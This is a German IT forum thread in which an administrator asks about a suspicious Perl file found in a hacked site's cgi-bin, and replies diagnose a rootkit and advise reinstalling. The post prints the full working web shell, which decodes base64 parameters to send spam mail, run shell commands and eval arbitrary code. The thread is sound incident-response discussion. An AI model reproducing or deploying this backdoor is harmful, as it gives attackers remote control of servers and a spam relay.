Analyse von Schadcode auf Webspace
Moin,
ich habe gerade die Anfrage bekommen mir einen Webspace anzusehen, dessen Betreiber ein Abuse-Warning vom Provider bekommen hat.
Ich habe im Webverzeichnis unter /www/cgi-bin/ die Datei debris.pl mit folgenden Inhalt gefunden
(hab es leider nicht vernünftig formatiert bekommen)
Hab jetzt noch nicht so viele Perl Skripte gesehen, aber es sieht für mich aus, als würden damit (Spam)-Mails verschickt.
Liege ich da mit richtig? Kann mir noch jemand mehr dazu sagen?
In den Logfiles ist zu sehen, dass auf die Datei regelmäßig von IP-Adressen aus verschieden Ländern zugegriffen wurde.
Würdet Ihr sagen, dass es reicht das Skript zu entfernen (und natürlich alles Login Daten zu ändern) oder gibt es in dem Code Hinweise, dass es noch mehr korrupte Files gibt?
Vielen Dank für eure Mühe
mercuric
ich habe gerade die Anfrage bekommen mir einen Webspace anzusehen, dessen Betreiber ein Abuse-Warning vom Provider bekommen hat.
Ich habe im Webverzeichnis unter /www/cgi-bin/ die Datei debris.pl mit folgenden Inhalt gefunden
(hab es leider nicht vernünftig formatiert bekommen)
#!/usr/bin/perl -w
use strict;sub b ($) {local($^W)=0;use integer;my $s=shift;$s=~tr|A-Za-z0-9+=/||cd;return "" if length($s) % 4;$s=~s/=+$//;$s=~tr|A-Za-z0-9+/| -_|;return "" if !length $s;my $u="";my($i,$l);$l=length($s)-60;for($i=0;$i<=$l;$i+=60){$u.="M".substr($s,$i,60);}$s=substr($s,$i);if($s ne ""){$u.=chr(32+length($s)*3/4).$s;}return unpack("u",$u);}sub m {my $r=30128+256;my $q={};my $s="";if($ENV{REQUEST_METHOD} eq "GET"){$s=$ENV{QUERY_STRING};}else{my $l=$ENV{CONTENT_LENGTH};exit unless $l;while($l > length $s){my $v=length $s;sysread(STDIN,$s,($l-$v),$v);}}foreach(split(/&/,$s)){my($k,$v)=split(/=/,$_,2);next if !defined $k || !length $k;$v="" if !defined $v;$v=~tr/+/ /;$v=~s/%([0-9A-Fa-f]{2})/chr(hex($1))/esg;$q->{$k}=$v;}print "Content-type: text/html; charset=iso-8859-1\x0D\x0A\x0D\x0A";if($q->{m}==0){print $r;exit;}if($q->{m}==1){if(open(M,"| /usr/sbin/sendmail -t > /dev/null")){print M sprintf("To: %s\x0D\x0ASubject: %s\x0D\x0A%s",&b($q->{a}),&b($q->{b}),&b($q->{c}));close M;print $r;}exit;}if($q->{m}==2){use IPC::Open2 qw(open2);local $SIG{PIPE}=sub {exit};my($o,$i);my $p=open2 $o,$i,&b($q->{a});print $i &b($q->{b});close $i;print while(<$o>);close $o;waitpid($p,0);exit;}if($q->{m}==3){eval(&b($q->{a}));exit;}}&m();
Hab jetzt noch nicht so viele Perl Skripte gesehen, aber es sieht für mich aus, als würden damit (Spam)-Mails verschickt.
Liege ich da mit richtig? Kann mir noch jemand mehr dazu sagen?
In den Logfiles ist zu sehen, dass auf die Datei regelmäßig von IP-Adressen aus verschieden Ländern zugegriffen wurde.
Würdet Ihr sagen, dass es reicht das Skript zu entfernen (und natürlich alles Login Daten zu ändern) oder gibt es in dem Code Hinweise, dass es noch mehr korrupte Files gibt?
Vielen Dank für eure Mühe
mercuric
Please also mark the comments that contributed to the solution of the article
Content-Key: 243860
Url: https://administrator.de/contentid/243860
Printed on: April 24, 2024 at 02:04 o'clock
6 Comments
Latest comment
Hallo mercuric,
da haben die sich ein Rootkit eingefangen. Hatte vor ein paar Tagen ein ähnliches System das komplett kompromittiert war (OpenSSH Sicherheitslücke). Bei diesem System wurden diverse Veränderungen vorgenommen um den Server auch nach einem Reboot immer wieder zu infizieren.
Neuinstallation ist in diesem Fall unbedingt anzuraten !
Hier noch ein Link dazu:
http://security.stackexchange.com/questions/10202/perl-script-rootkit-e ...
Wenn es ein Managed Server ist, ist vermutlich nur die Seite bzw. das CMS infiziert. Hier sind dann sämtliche Seiten auf Veränderungen zu überprüfen, oder auch dieses neu einzuspielen.
Grüße Uwe
da haben die sich ein Rootkit eingefangen. Hatte vor ein paar Tagen ein ähnliches System das komplett kompromittiert war (OpenSSH Sicherheitslücke). Bei diesem System wurden diverse Veränderungen vorgenommen um den Server auch nach einem Reboot immer wieder zu infizieren.
Neuinstallation ist in diesem Fall unbedingt anzuraten !
Hier noch ein Link dazu:
http://security.stackexchange.com/questions/10202/perl-script-rootkit-e ...
Wenn es ein Managed Server ist, ist vermutlich nur die Seite bzw. das CMS infiziert. Hier sind dann sämtliche Seiten auf Veränderungen zu überprüfen, oder auch dieses neu einzuspielen.
Grüße Uwe
Wenn nicht alle Sicherheitspatches eingespielt wurden oder eine Erweiterung des Hosters Sicherheitslücken aufweist, kann das schon mal sein, zwar selten, aber nicht unmöglich. Checke trotzdem alle Seiten auch auf komprimiertes JavaScript.
Opera browser + warnung vor einer bösartigen seite
Opera browser + warnung vor einer bösartigen seite
Zitat von @LordGurke:
Eine aktuelle OpenSSH-Lücke? Finde da gerade nichts halbwegs aktuelles...
Hast du da Details für mich?
hab nicht gesagt das die aktuell war der Betreiber hat das betroffene System ziemlich vernachlässigt...Eine aktuelle OpenSSH-Lücke? Finde da gerade nichts halbwegs aktuelles...
Hast du da Details für mich?